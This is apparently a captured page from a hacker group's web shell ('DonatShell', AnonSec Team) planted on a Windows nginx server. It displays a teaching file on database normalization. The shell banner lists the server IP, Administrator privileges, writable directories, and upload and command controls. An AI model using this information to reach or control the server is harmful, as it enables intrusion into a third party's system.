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DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
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Directory :  C:/nginx/html/MichaelMalz/CST1600/Examples/Normilization/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/Examples/Normilization/_Normilization_Example_1.txt
_Normilization_Example_1.txt

* = primary key (unique identifier)
@ = foreign key (points to a primary key or unique identifier in another table)
^ - unique field.


DO THIS:
Employees (eId*, FirstName)
eId	FirstName
1	Jim


DO NOT DO THIS:

Employees (eId*)
eId
1

Alphabet (aId*, Letter)
aId
9	J
10	i
14	m

EmployeeFirstName_Alphabet (eId*@, Pos*, aId@)
eId Pos aId
1 	1	9
1 	2	10
1 	3	14

Anon7 - 2022
AnonSec Team